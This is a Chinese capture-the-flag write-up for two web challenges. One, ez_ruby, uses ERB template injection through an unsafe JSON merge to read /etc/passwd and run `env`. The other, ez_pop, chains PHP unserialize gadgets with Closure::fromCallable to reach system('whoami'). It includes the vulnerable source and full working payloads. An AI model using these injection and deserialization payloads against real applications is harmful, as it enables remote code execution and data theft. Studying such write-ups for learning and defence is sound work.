2025春秋杯夏季赛web

ez_ruby

image-20250713154020125

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
require "sinatra"
require "erb"
require "json"

class User
attr_reader :name, :age

def initialize(name="oSthinggg", age=21)
@name = name
@age = age
end

def is_admin?
if to_s == "true"
"a admin,good!give your fake flag! flag{RuBy3rB_1$_s3_1Z}"
else
"not admin,your "+@to_s
end
end

def age
if @age > 20
"old"
else
"young"
end
end


def merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
next_obj = current_obj.respond_to?(key) ? current_obj.public_send(key) : Object.new
current_obj.singleton_class.attr_accessor(key) unless current_obj.respond_to?(key)
current_obj.instance_variable_set("@#{key}", next_obj)
merge(original, value, next_obj)
else
current_obj.singleton_class.attr_accessor(key) unless current_obj.respond_to?(key)
current_obj.instance_variable_set("@#{key}", value)
end
end
original
end
end

user = User.new("oSthinggg", 21)


get "/" do
redirect "/set_age"
end

get "/set_age" do
ERB.new(File.read("views/age.erb", encoding: "UTF-8")).result(binding)
end

post "/set_age" do
request.body.rewind
age = JSON.parse(request.body.read)
user.merge(user,age)
end

get "/view" do
name=user.name().to_s
op_age=user.age().to_s
is_admin=user.is_admin?().to_s
ERB::new("<h1>Hello,oSthinggg!#{op_age} man!you #{is_admin} </h1>").result
end

可以看到有两个路由 /set_age路由 提交参数的
/view 用来回显信息的

也没见过ruby语言 只能去依靠ai了

需要利用 ERB 模板注入漏洞 写json格式的payload 去进行命令执行

image-20250713154216049

image-20250713154638449

读取flag肯定读取不出来啊

尝试读取 /etc/passwd

1
{"to_s": "<%= File.read(\'/etc/passwd\') %>"}

image-20250713154911568

ok 读取成功了 因为不知道flag在哪里存着 还是需要进行命令执行

1
ERB 里可以用反引号或 `%x[]` 来执行系统命令。

经过尝试发现flag在环境变量里

payload:

1
{"to_s": "<%= `env` %>"}

image-20250713155331671

FLAG=flag{5a05e640-8548-49d0-aa6c-176ee7bf8916}

ez_pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
error_reporting(0);
highlight_file(__FILE__);

class class_A
{
public $s;
public $a;

public function __toString()
{
echo "2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class class_B
{
public $c;
public $d;

function is_method($input){
if (strpos($input, '::') === false) {
return false;
}

[$class, $method] = explode('::', $input, 2);

if (!class_exists($class, false)) {
return false;
}

if (!method_exists($class, $method)) {
return false;
}

try {
$refMethod = new ReflectionMethod($class, $method);
return $refMethod->isInternal();
} catch (ReflectionException $e) {
return false;
}
}

function is_class($input){
if (strpos($input, '::') !== false) {
return $this->is_method($input);
}

if (!class_exists($input, false)) {
return false;
}

try {
return (new ReflectionClass($input))->isInternal();
} catch (ReflectionException $e) {
return false;
}
}
public function __get($name)
{
echo "2 B <br>";

$a = $_POST['a'];
$b = $_POST;
$c = $this->c;
$d = $this->d;
if (isset($b['a'])) {
unset($b['a']);
}
if ($this->is_class($a)){
call_user_func($a, $b)($c)($d);
}else{
die("你真该请教一下oSthinggg哥哥了");
}
}
}

class class_C
{
public $c;

public function __destruct()
{
echo "2 C <br>";
echo $this->c;
}
}


if (isset($_GET['un'])) {
$a = unserialize($_GET['un']);
throw new Exception("noooooob!!!你真该请教一下万能的google哥哥了");
}
?>

链子很简单主要是call_user_func($a, $b)($c)($d);怎么执行命令

$a必须要是内置类或者内置类里面的

$b是删除了POST中的$a的数组

主要就是那个内置类是什么

Closure里面的fromCallable可以调用函数执行命令

1
Closure::fromCallable("system")("whoami");
1
call_user_func('Closure::fromCallable', "system")('whoami')();

这样虽然会报错,但也可以执行命令

但因为$b是一个$_POST数组,这样传参上去无法执行,一直报错

可以嵌套一下,再次调用Closure::fromCallable, 也就是这样

1
call_user_func('Closure::fromCallable', "Closure::fromCallable")('system')('whoami');

因为$b是一个数组嘛,不能直接把这个Closure::fromCallable整个当成字符串传进去,得分开传

1
2
3
4
5
6
7
8
<?php
//$b=$_POST;
$b[0]='Closure';
$b[1]='fromCallable';
$c='system';
$d='whoami';
var_dump($b);
call_user_func('Closure::fromCallable', $b)($c)($d);

这里好像是通过返回闭包来执行的吧

1
Closure::fromCallable(['Closure', 'fromCallable'])

等价于:

1
2
3
function($x) {
return ['Closure', 'fromCallable']($x);
}

所以它的返回值就是:

1
2
3
function($arg) {
return Closure::fromCallable($arg);
}

也就是说:

这一步的返回值本身是一个闭包函数,能接受一个参数,再次调用 Closure::fromCallable。

所以完整执行链是:

1
Closure::fromCallable(['Closure', 'fromCallable'])('system')('whoami');

等价于:

1
2
3
4
5
6
$f = function($x) {
return Closure::fromCallable($x);
};

$g = $f('system'); // Closure wrapping system()
$g('whoami'); // executes system('whoami')

所以最终构造的payload就是这样的
(POST里面的参数除了那个a就只能是0和1,如果是其他的字符或数字都会报错)

1
2
3
4
?un=O:7:"class_C":1:{s:1:"c";O:7:"class_A":2:{s:1:"s";O:7:"class_B":2:{s:1:"c";s:6:"system";s:1:"d";s:6:"whoami";}s:1:"a";N;}}

POST:
a=Closure::fromCallable&0=Closure&1=fromCallable

ez_pop原文链接:https://blog.csdn.net/2302_80472909/article/details/149338350